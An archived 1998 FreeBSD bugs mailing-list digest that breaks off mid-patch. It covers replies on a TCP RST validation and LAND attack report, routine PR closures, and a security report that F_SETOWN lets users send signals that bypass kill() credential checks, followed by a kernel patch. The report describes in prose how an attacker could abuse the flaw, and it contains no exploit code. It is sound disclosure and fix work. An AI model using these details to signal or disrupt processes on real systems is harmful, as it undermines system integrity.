Subject: Re: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible References: <199809111510.IAA01535@freefall.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Garrett Wollman wrote: > Great job, Don. I'll commit this today if nobody beats me to it. With absolutely no disrespect to don intended, there was considerable discussion on -security about whether his was the best solution. *I* personally couldn't tell you one way or the other, but I think that we should at least give the NetBSD solution a look before we commit to one fix or another. Also, it would be nice if we did come up with an "official" response, a security advisory and a patch since this bug was widely publicized on bugtraq almost two weeks ago now. Doug -- *** Chief Operations Officer, DALnet IRC network *** "Yes, the president should resign. He has lied to the American people, time and time again, and betrayed their trust. He is no longer an effective leader. Since he has admitted guilt, there is no reason to put the American people through an impeachment. He will serve absolutely no purpose in finishing out his term; the only possible solution is for the president to save some dignity and resign." - William Jefferson Clinton, 1974 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 11:51:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA15013 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 11:51:01 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA14978; Fri, 11 Sep 1998 11:50:49 -0700 (PDT) (envelope-from wollman@FreeBSD.org) From: Garrett Wollman Received: (from wollman@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA08437; Fri, 11 Sep 1998 11:50:48 -0700 (PDT) Date: Fri, 11 Sep 1998 11:50:48 -0700 (PDT) Message-Id: <199809111850.LAA08437@freefall.freebsd.org> To: seggers@semyam.dinoco.de, wollman@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7886 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: lpr code cleanup State-Changed-From-To: open-closed State-Changed-By: wollman State-Changed-When: Fri Sep 11 11:50:06 PDT 1998 State-Changed-Why: Accepted, thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 12:00:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA17901 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 12:00:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA17835 for ; Fri, 11 Sep 1998 12:00:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA08642; Fri, 11 Sep 1998 12:00:01 -0700 (PDT) Date: Fri, 11 Sep 1998 12:00:01 -0700 (PDT) Message-Id: <199809111900.MAA08642@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Bill Fenner Subject: Re: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible Reply-To: Bill Fenner Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/7892; it has been noted by GNATS. From: Bill Fenner To: gdonl@tsc.tdk.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible Date: Fri, 11 Sep 1998 11:52:42 PDT I thought that the LAND attacks were squelched in rev 1.68 . Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 12:06:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA19621 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 12:06:59 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA19611; Fri, 11 Sep 1998 12:06:44 -0700 (PDT) (envelope-from wollman@FreeBSD.org) From: Garrett Wollman Received: (from wollman@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA08837; Fri, 11 Sep 1998 12:06:43 -0700 (PDT) Date: Fri, 11 Sep 1998 12:06:43 -0700 (PDT) Message-Id: <199809111906.MAA08837@freefall.freebsd.org> To: jinmei@kame.net, wollman@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7281 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Old Synopsis: Multicast kludge does not work correctly New Synopsis: [STABLE] Multicast kludge does not work correctly State-Changed-From-To: open-suspended State-Changed-By: wollman State-Changed-When: Fri Sep 11 12:05:27 PDT 1998 State-Changed-Why: Fix looks correct, but relevant only to -stable. Can someone pick this up and run with it? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 12:47:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26048 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 12:47:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25823; Fri, 11 Sep 1998 12:45:40 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA10090; Fri, 11 Sep 1998 12:45:39 -0700 (PDT) Date: Fri, 11 Sep 1998 12:45:39 -0700 (PDT) Message-Id: <199809111945.MAA10090@freefall.freebsd.org> To: jlido@helium.goof.com, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/2507 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Renaming DOS directories with "mv" causes corruption. State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Fri Sep 11 12:44:23 PDT 1998 State-Changed-Why: This problem was fixed in the las MSDOSFS merge from NetBSD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 13:01:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28656 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 13:01:22 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA28595; Fri, 11 Sep 1998 13:00:40 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA10645; Fri, 11 Sep 1998 13:00:39 -0700 (PDT) Date: Fri, 11 Sep 1998 13:00:39 -0700 (PDT) Message-Id: <199809112000.NAA10645@freefall.freebsd.org> To: jmrueda@diatel.upm.es, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/6999 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Mismatch in rc.conf "accounting" keyword State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Fri Sep 11 12:55:14 PDT 1998 State-Changed-Why: Fixed now. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 17:00:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA00259 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 17:00:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA00252 for ; Fri, 11 Sep 1998 17:00:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA16357; Fri, 11 Sep 1998 17:00:01 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29193 for ; Fri, 11 Sep 1998 16:53:51 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id QAA23016 for ; Fri, 11 Sep 1998 16:53:40 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from w3.gv.tsc.tdk.com (gdonl@w3.gv.tsc.tdk.com [192.168.240.195]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id QAA03821 for ; Fri, 11 Sep 1998 16:53:38 -0700 (PDT) Received: (from gdonl@localhost) by w3.gv.tsc.tdk.com (8.8.8/8.8.5) id QAA17235; Fri, 11 Sep 1998 16:53:37 -0700 (PDT) Message-Id: <199809112353.QAA17235@w3.gv.tsc.tdk.com> Date: Fri, 11 Sep 1998 16:53:37 -0700 (PDT) From: Don Lewis Reply-To: gdonl@tsc.tdk.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/7899: [PATCH] [SECURITY] SETOWN allows bypass of signal credential checks and has other bugs Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7899 >Category: kern >Synopsis: SETOWN allows bypass of signal credential checks and has other bugs >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 17:00:01 PDT 1998 >Last-Modified: >Originator: Don Lewis >Organization: TDK Semiconductor >Release: FreeBSD 3.0-CURRENT-19980911 i386 >Environment: FreeBSD 2.1.x, 2.2.x, and 3.0-CURRENT >Description: [SECURITY] fcntl(fd, F_SETOWN, arg) and ioctl(fd, FIOSETOWN, arg) allow signals to be sent to arbitrary processes and bypass the credential checks used by kill(). This isn't as serious as it might be because normal users can only send SIGIO and SIGURG by this method and the normal disposition of these signals is to ignore them. Being able to send these signals to processes that catch them may cause those processes to misbehave. HOWEVER, bpf allows the user to select the signal to be sent by using the BIOCSRSIG ioctl, but access to bpf is generally restricted to root. One could imagine a sneaky attacker opening bpf as root and then changing uid to avoid suspicion, then using this facility to nuke various processes on the system. Since nobody is calling kill(), you can't ktrace the processes on the system to figure out where the signals are coming from. [SECURITY,BUG] Once signalling of a process or process group has been configured by F_SETOWN, signals will continue to be sent even after this process or process group has disappeared, until signalling is explicitly disabled or the fd is closed. When the pids wrap around, an arbitrary new process will start receiving these signals. This could cause mysterious problems to happen. [BUG] If you specify a process to F_SETOWN (as opposed to a process group), it will find the process group of this process and configure signals to be sent to that process group. FIOSETOWN and *IOCSPGRP work correctly, though the sign of the argument is inverted. [BUG] The log device has processes and process groups reversed when it tries to figure out where to send signals. [LIMITATION] In the case of tty devices, it is only possible to get SIGIO signals from the controlling tty of a process. This affects xntpd which may desire to receive SIGIO signals from multiple serially connected reference clocks, and may not desire to disconnect from its controlling terminal if it is being debugged. [ARCHITECTURE] The code to figure out where to send signals is duplicated in multiple places. >How-To-Repeat: >Fix: The attached patch seems to work correctly in 3.0-CURRENT. I've been using a similar patch in 2.1.x for quite a while. There are several places, marked by "Policy" where various restrictions could be tightened or loosened. Several of the drivers implemented the TIOCSPGRP and TIOCGPGRP ioctls in order to support F_SETOWN prior to this patch. This patch now uses the FIOSETOWN and FIOGETOWN ioctls, and the TIOC* ioctl implementations should probably be removed from all but tty.c as a cleanup measure. I did not do this in case a userland program happened to be using these ioctls. The proc structure got bigger, so various bits of userland that look at it need to be recompiled. Having to pass the funset parameter to fsetown is ugly. Is there a better way of doing the necessary splXXX()/splx() wrapper that avoids the need for private callback functions? This patch needs to be tested with SMP. --- kern/kern_descrip.c.orig Fri Sep 4 18:13:51 1998 +++ kern/kern_descrip.c Fri Sep 11 05:21:34 1998 @@ -46,7 +46,6 @@ #include #include #include -#include #include #include #include @@ -58,6 +57,7 @@ #include #include #include +#include #include #include #include @@ -71,6 +71,7 @@ static MALLOC_DEFINE(M_FILEDESC, "file desc", "Open file descriptor table"); MALLOC_DEFINE(M_FILE, "file", "Open file structure"); +static MALLOC_DEFINE(M_SIGIO, "sigio", "sigio structures"); static d_open_t fdopen; @@ -257,30 +258,13 @@ return (error); case F_GETOWN: - if (fp->f_type == DTYPE_SOCKET) { - p->p_retval[0] = ((struct socket *)fp->f_data)->so_pgid; - return (0); - } error = (*fp->f_ops->fo_ioctl) - (fp, TIOCGPGRP, (caddr_t)p->p_retval, p); - p->p_retval[0] = - p->p_retval[0]; + (fp, FIOGETOWN, (caddr_t)p->p_retval, p); return (error); case F_SETOWN: - if (fp->f_type == DTYPE_SOCKET) { - ((struct socket *)fp->f_data)->so_pgid = uap->arg; - return (0); - } - if (uap->arg <= 0) { - uap->arg = -uap->arg; - } else { - struct proc *p1 = pfind(uap->arg); - if (p1 == 0) - return (ESRCH); - uap->arg = p1->p_pgrp->pg_id; - } return ((*fp->f_ops->fo_ioctl) - (fp, TIOCSPGRP, (caddr_t)&uap->arg, p)); + (fp, FIOSETOWN, (caddr_t)&uap->arg, p)); case F_SETLKW: flg |= F_WAIT; @@ -363,6 +347,129 @@ fdp->fd_lastfile = new; *retval = new; return (0); +} + +/* + * If sigio is on the list associated with a process or process group, + * remove it. + */ +void +funsetown(sigio) + register struct sigio *sigio; +{ + if (sigio == NULL) + return; + + if (sigio->sio_pgid < 0) { + SLIST_REMOVE(&(sigio->sio_pgrp->pg_sigiolst), sigio, + sigio, sio_pgsigio); + } else /* if ((*sigiop)->sio_pgid > 0) */ { + SLIST_REMOVE(&(sigio->sio_proc->p_sigiolst), sigio, + sigio, sio_pgsigio); + } + + crfree(sigio->sio_ucred); + + *(sigio->sio_myref) = NULL; + + FREE(sigio, M_SIGIO); +} + +void +funsetownlst(sigiolst) + register struct sigiolst *sigiolst; +{ + register struct sigio *sigio; + + while ((sigio = sigiolst->slh_first) != NULL) + (*sigio->sio_unsetown)(sigio); +} + +/* + * Common code for FIOSETOWN ioctl called by F_SETOWN + * + * After permission checking, add sigio structure to the sigio list for + * the process or process group. + */ +int +fsetown(pgid, sigiop, funset) + register pid_t pgid; + register struct sigio **sigiop; + void (*funset) __P((struct sigio *)); +{ + register struct proc *proc = NULL; + register struct pgrp *pgrp = NULL; + register struct sigio *sigio; + + if (pgid == 0) { + funsetown(*sigiop); + return (0); + } else if (pgid > 0) { + proc = pfind(pgid); + if (proc == NULL) + return (ESRCH); + /* + * Policy - Don't allow a process to FSETOWN a process + * in another session. + * + * Remove this test to allow maximum flexibility or + * restrict FSETOWN to the current process or process + * group for maximum safety. + */ + else if (proc->p_session != curproc->p_session) + return (EPERM); + } else /* if (pgid < 0) */ { + pgrp = pgfind(-pgid); + if (pgrp == NULL) + return (ESRCH); + /* + * Policy - Don't allow a process to FSETOWN a process + * in another session. + * + * Remove this test to allow maximum flexibility or + * restrict FSETOWN to the current process or process + * group for maximum safety. + */ + else if (pgrp->pg_session != curproc->p_session) + return (EPERM); + } + + funsetown(*sigiop); + + MALLOC(sigio, struct sigio *, sizeof(struct sigio), M_SIGIO, + M_WAITOK); + + if (pgid > 0) { + SLIST_INSERT_HEAD(&(proc->p_sigiolst), sigio, sio_pgsigio); + sigio->sio_proc = proc; + } else { + SLIST_INSERT_HEAD(&(pgrp->pg_sigiolst), sigio, sio_pgsigio); + sigio->sio_pgrp = pgrp; + } + + sigio->sio_pgid = pgid; + + crhold(curproc->p_ucred); + sigio->sio_ucred = curproc->p_ucred; + sigio->sio_ruid = curproc->p_cred->p_ruid; /* wish this was in ucred */ + + sigio->sio_unsetown = funset; + + sigio->sio_myref = sigiop; + *sigiop = sigio; + + return (0); +} + +/* + * Common code for FIOGETOWN ioctl called by F_GETOWN + */ +pid_t +fgetown(sigio) + register struct sigio *sigio; +{ + /* we could also return sigio->sio_{proc->p_pid,pgrp->pg_id} */ + return (sigio != NULL ? sigio->sio_pgid : 0); } /* --- kern/kern_exit.c.orig Fri Sep 4 18:13:52 1998 +++ kern/kern_exit.c Fri Sep 11 03:40:57 1998 @@ -186,6 +186,12 @@ untimeout(realitexpire, (caddr_t)p, p->p_ithandle); /* + * Reset any sigio structures pointing to us as a result of + * F_SETOWN with our pid + */ + funsetownlst(&(p->p_sigiolst)); + + /* * Close open files and release open-file table. * This may block! */ --- kern/kern_proc.c.orig Fri Sep 4 18:13:56 1998 +++ kern/kern_proc.c Fri Sep 11 05:12:51 1998 @@ -48,6 +48,7 @@ #include #include #include +#include static MALLOC_DEFINE(M_PGRP, "pgrp", "process group header"); MALLOC_DEFINE(M_SESSION, "session", "session header"); @@ -242,6 +243,7 @@ LIST_INIT(&pgrp->pg_members); LIST_INSERT_HEAD(PGRPHASH(pgid), pgrp, pg_hash); pgrp->pg_jobc = 0; + SLIST_INIT(&(pgrp->pg_sigiolst)); } else if (pgrp == p->p_pgrp) return (0); @@ -283,6 +285,12 @@ pgdelete(pgrp) register struct pgrp *pgrp; { + + /* + * Reset any sigio structures pointing to us as a result of + * F_SETOWN with our pgid + */ + funsetownlst(&(pgrp->pg_sigiolst)); if (pgrp->pg_session->s_ttyp != NULL && pgrp->pg_session->s_ttyp->t_pgrp == pgrp) --- kern/kern_sig.c.orig Fri Sep 4 18:13:56 1998 +++ kern/kern_sig.c Fri Sep 11 05:26:34 1998 @@ -96,6 +96,16 @@ (pc)->pc_ucred->cr_uid == (q)->p_ucred->cr_uid || \ ((signum) == SIGCONT && (q)->p_session == (p)->p_session)) +/* + * Policy -- Can real uid ruid with ucred uc send a signal to process q? + */ +#define CANSIGIO(ruid, uc, q) \ + ((uc)->cr_uid == 0 || \ + ruid == (q)->p_cred->p_ruid || \ + (uc)->cr_uid == (q)->p_cred->p_ruid || \ + ruid == (q)->p_ucred->cr_uid || \ + (uc)->cr_uid == (q)->p_ucred->cr_uid) + static int sugid_coredump; SYSCTL_INT(_kern, OID_AUTO, sugid_coredump, CTLFLAG_RW, &sugid_coredump, 0, ""); @@ -1419,4 +1429,31 @@ psignal(p, SIGSYS); return (EINVAL); +} + +/* + * Send a signal to a SIGIO or SIGURG to a process or process group using + * stored credentials rather than those of the current process + */ +void +pgsigio(sigio, signum, checkctty) + register struct sigio *sigio; + int signum, checkctty; +{ + if (sigio == NULL) + return; + + if (sigio->sio_pgid > 0) { + if (CANSIGIO(sigio->sio_ruid, sigio->sio_ucred, + sigio->sio_proc)) + psignal(sigio->sio_proc, signum); + } else if (sigio->sio_pgid < 0) { + register struct proc *p; + + for (p = sigio->sio_pgrp->pg_members.lh_first; p != NULL; + p = p->p_pglist.le_next) + if (CANSIGIO(sigio->sio_ruid, sigio->sio_ucred, p) && + (checkctty == 0 || (p->p_flag & P_CONTROLT))) + psignal(p, signum); + } } --- kern/subr_log.c.orig Fri Sep 4 18:14:00 1998 +++ kern/subr_log.c Fri Sep 11 04:54:01 1998 @@ -51,6 +51,7 @@ #include #include #include +#include #ifdef DEVFS #include #endif /*DEVFS*/ @@ -75,7 +76,8 @@ static struct logsoftc { int sc_state; /* see above for possibilities */ struct selinfo sc_selp; /* process waiting on select call */ - int sc_pgid; /* process/group for async I/O */ + struct sigio *sc_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ } logsoftc; int log_open; /* also used in log() */ @@ -90,7 +92,8 @@ if (log_open) return (EBUSY); log_open = 1; - logsoftc.sc_pgid = p->p_pid; /* signal process only */ + /* signal process only */ + fsetown(p->p_pid, &logsoftc.sc_sigio, funsetown); return (0); } @@ -104,6 +107,7 @@ log_open = 0; logsoftc.sc_state = 0; + funsetown(logsoftc.sc_sigio); return (0); } @@ -183,12 +187,8 @@ if (!log_open) return; selwakeup(&logsoftc.sc_selp); - if (logsoftc.sc_state & LOG_ASYNC) { - if (logsoftc.sc_pgid < 0) - gsignal(-logsoftc.sc_pgid, SIGIO); - else if ((p = pfind(logsoftc.sc_pgid))) - psignal(p, SIGIO); - } + if ((logsoftc.sc_state & LOG_ASYNC) && logsoftc.sc_sigio != NULL) + pgsigio(logsoftc.sc_sigio, SIGIO, 0); if (logsoftc.sc_state & LOG_RDWAIT) { wakeup((caddr_t)msgbufp); logsoftc.sc_state &= ~LOG_RDWAIT; @@ -205,7 +205,7 @@ struct proc *p; { long l; - int s; + int s, error; switch (com) { @@ -229,12 +229,27 @@ logsoftc.sc_state &= ~LOG_ASYNC; break; + case FIOSETOWN: + error = fsetown(*(int *)data, &(logsoftc.sc_sigio), funsetown); + if (error) + return (error); + break; + + case FIOGETOWN: + *(int *)data = fgetown(logsoftc.sc_sigio); + break; + + /* Deprecated */ case TIOCSPGRP: - logsoftc.sc_pgid = *(int *)data; + error = fsetown(-(*(int *)data), &(logsoftc.sc_sigio), + funsetown); + if (error) + return (error); break; + /* Deprecated */ case TIOCGPGRP: - *(int *)data = logsoftc.sc_pgid; + *(int *)data = -fgetown(logsoftc.sc_sigio); break; default: --- kern/sys_generic.c.orig Sat Sep 5 19:23:02 1998 +++ kern/sys_generic.c Fri Sep 11 03:40:57 1998 @@ -470,36 +470,8 @@ break; case FIOSETOWN: - tmp = *(int *)data; - if (fp->f_type == DTYPE_SOCKET) { - ((struct socket *)fp->f_data)->so_pgid = tmp; - error = 0; - break; - } - if (tmp <= 0) { - tmp = -tmp; - } else { - struct proc *p1 = pfind(tmp); - if (p1 == 0) { - error = ESRCH; - break; - } - tmp = p1->p_pgrp->pg_id; - } - error = (*fp->f_ops->fo_ioctl) - (fp, (int)TIOCSPGRP, (caddr_t)&tmp, p); - break; - case FIOGETOWN: - if (fp->f_type == DTYPE_SOCKET) { - error = 0; - *(int *)data = ((struct socket *)fp->f_data)->so_pgid; - break; - } - error = (*fp->f_ops->fo_ioctl)(fp, (int)TIOCGPGRP, data, p); - *(int *)data = -*(int *)data; - break; - + /* fall through */ default: error = (*fp->f_ops->fo_ioctl)(fp, com, data, p); /* --- kern/sys_socket.c.orig Fri Sep 4 18:14:02 1998 +++ kern/sys_socket.c Fri Sep 11 05:38:39 1998 @@ -44,6 +44,7 @@ #include #include #include +#include #include #include @@ -80,6 +81,19 @@ uio->uio_procp); } +/* + * Callback to undo FIOSETOWN on process or process group death + */ +void +soo_unsetown(sigio) + struct sigio *sigio; +{ + register int s = splnet(); + + funsetown(sigio); + splx(s); +} + int soo_ioctl(fp, cmd, data, p) struct file *fp; @@ -88,6 +102,7 @@ struct proc *p; { register struct socket *so = (struct socket *)fp->f_data; + register int s, error; switch (cmd) { @@ -114,12 +129,28 @@ *(int *)data = so->so_rcv.sb_cc; return (0); - case SIOCSPGRP: - so->so_pgid = *(int *)data; + case FIOSETOWN: + s = splnet(); + error = fsetown(*(int *)data, &(so->so_sigio), soo_unsetown); + splx(s); + return(error); + + case FIOGETOWN: + s = splnet(); + *(int *)data = fgetown(so->so_sigio); + splx(s); return (0); + case SIOCSPGRP: + s = splnet(); + error = fsetown(-(*(int *)data), &(so->so_sigio), soo_unsetown); + splx(s); + return(error); + case SIOCGPGRP: - *(int *)data = so->so_pgid; + s = splnet(); + *(int *)data = -fgetown(so->so_sigio); + splx(s); return (0); case SIOCATMARK: --- kern/tty.c.orig Fri Sep 4 18:14:04 1998 +++ kern/tty.c Fri Sep 11 05:42:54 1998 @@ -90,6 +90,7 @@ #include #include #include +#include /* get fsetown, funsetown, fgetown */ #if NSNP > 0 #include #endif @@ -111,6 +112,7 @@ static void ttyrubo __P((struct tty *tp, int cnt)); static void ttyunblock __P((struct tty *tp)); static int ttywflush __P((struct tty *tp)); +static void tty_unsetown __P((struct sigio *sigio)); /* * Table with character classes and parity. The 8th bit indicates parity, @@ -234,6 +236,8 @@ if (constty == tp) constty = NULL; + funsetown(tp->t_sigio); + ttyflush(tp, FREAD | FWRITE); clist_free_cblocks(&tp->t_canq); clist_free_cblocks(&tp->t_outq); @@ -685,6 +689,19 @@ } /* + * Callback to undo FIOSETOWN on process or process group death + */ +static void +tty_unsetown(sigio) + struct sigio *sigio; +{ + register int s = spltty(); + + funsetown(sigio); + splx(s); +} + +/* * Ioctls for all tty devices. Called after line-discipline specific ioctl * has been called to do discipline-specific functions and/or reject any * of these ioctl commands. @@ -756,6 +773,27 @@ *(int *)data = ttnread(tp); splx(s); break; + + case FIOSETOWN: + /* + * Policy -- Don't allow FIOSETOWN on someone else's + * controlling tty + */ + if (tp->t_session != NULL && !isctty(p, tp)) + return (ENOTTY); + + s = spltty(); + error = fsetown(*(int *)data, &(tp->t_sigio), tty_unsetown); + splx(s); + if (error) + return (error); + break; + case FIOGETOWN: + if (tp->t_session != NULL && !isctty(p, tp)) + return (ENOTTY); + *(int *)data = fgetown(tp->t_sigio); + break; + case TIOCEXCL: /* set exclusive use of tty */ s = spltty(); SET(tp->t_state, TS_XCLUDE); @@ -2082,8 +2120,8 @@ if (tp->t_rsel.si_pid != 0) selwakeup(&tp->t_rsel); - if (ISSET(tp->t_state, TS_ASYNC)) - pgsignal(tp->t_pgrp, SIGIO, 1); + if (ISSET(tp->t_state, TS_ASYNC) && tp->t_sigio != NULL) + pgsigio(tp->t_sigio, SIGIO, (tp->t_session != NULL)); wakeup(TSA_HUP_OR_INPUT(tp)); } --- kern/uipc_socket.c.orig Fri Sep 4 18:14:06 1998 +++ kern/uipc_socket.c Fri Sep 11 03:40:58 1998 @@ -218,6 +218,8 @@ int s = splnet(); /* conservative */ int error = 0; + funsetown(so->so_sigio); + if (so->so_options & SO_ACCEPTCONN) { struct socket *sp, *sonext; @@ -1182,10 +1184,8 @@ { struct proc *p; - if (so->so_pgid < 0) - gsignal(-so->so_pgid, SIGURG); - else if (so->so_pgid > 0 && (p = pfind(so->so_pgid)) != 0) - psignal(p, SIGURG); + if (so->so_sigio != NULL) + pgsigio(so->so_sigio, SIGURG, 0); selwakeup(&so->so_rcv.sb_sel); } --- kern/uipc_socket2.c.orig Sat Sep 5 19:23:02 1998 +++ kern/uipc_socket2.c Fri Sep 11 05:43:16 1998 @@ -213,7 +213,7 @@ so->so_state = head->so_state | SS_NOFDREF; so->so_proto = head->so_proto; so->so_timeo = head->so_timeo; - so->so_pgid = head->so_pgid; + fsetown(fgetown(head->so_sigio), &(so->so_sigio), soo_unsetown); so->so_uid = head->so_uid; (void) soreserve(so, head->so_snd.sb_hiwat, head->so_rcv.sb_hiwat); @@ -321,11 +321,8 @@ sb->sb_flags &= ~SB_WAIT; wakeup((caddr_t)&sb->sb_cc); } - if (so->so_state & SS_ASYNC) { - if (so->so_pgid < 0) - gsignal(-so->so_pgid, SIGIO); - else if (so->so_pgid > 0 && (p = pfind(so->so_pgid)) != 0) - psignal(p, SIGIO); + if ((so->so_state & SS_ASYNC) && so->so_sigio != NULL) { + pgsigio(so->so_sigio, SIGIO, 0); } if (sb->sb_flags & SB_UPCALL) (*so->so_upcall)(so, so->so_upcallarg, M_DONTWAIT); @@ -916,7 +913,7 @@ xso->so_qlimit = so->so_qlimit; xso->so_timeo = so->so_timeo; xso->so_error = so->so_error; - xso->so_pgid = so->so_pgid; + xso->so_pgid = so->so_sigio ? so->so_sigio->sio_pgid : 0; xso->so_oobmark = so->so_oobmark; sbtoxsockbuf(&so->so_snd, &xso->so_snd); sbtoxsockbuf(&so->so_rcv, &xso->so_rcv); --- kern/sys_pipe.c.orig Fri Sep 4 18:14:02 1998 +++ kern/sys_pipe.c Fri Sep 11 05:30:45 1998 @@ -256,7 +256,7 @@ cpipe->pipe_atime = cpipe->pipe_ctime; cpipe->pipe_mtime = cpipe->pipe_ctime; bzero(&cpipe->pipe_sel, sizeof cpipe->pipe_sel); - cpipe->pipe_pgid = NO_PID; + cpipe->pipe_sigio = NULL; #ifndef PIPE_NODIRECT /* @@ -315,11 +315,8 @@ cpipe->pipe_state &= ~PIPE_SEL; selwakeup(&cpipe->pipe_sel); } - if (cpipe->pipe_state & PIPE_ASYNC) { - if (cpipe->pipe_pgid < 0) - gsignal(-cpipe->pipe_pgid, SIGIO); - else if ((p = pfind(cpipe->pipe_pgid)) != NULL) - psignal(p, SIGIO); + if ((cpipe->pipe_state & PIPE_ASYNC) && cpipe->pipe_sigio) { + pgsigio(cpipe->pipe_sigio, SIGIO, 0); } } @@ -953,12 +950,22 @@ *(int *)data = mpipe->pipe_buffer.cnt; return (0); - case TIOCSPGRP: - mpipe->pipe_pgid = *(int *)data; + case FIOSETOWN: + return (fsetown(*(int *)data, &(mpipe->pipe_sigio), + funsetown)); + + case FIOGETOWN: + *(int *)data = fgetown(mpipe->pipe_sigio); return (0); + /* Deprecated */ + case TIOCSPGRP: + return (fsetown(-(*(int *)data), &(mpipe->pipe_sigio), + funsetown)); + + /* Deprecated */ case TIOCGPGRP: - *(int *)data = mpipe->pipe_pgid; + *(int *)data = -fgetown(mpipe->pipe_sigio); return (0); } @@ -1038,6 +1045,7 @@ { struct pipe *cpipe = (struct 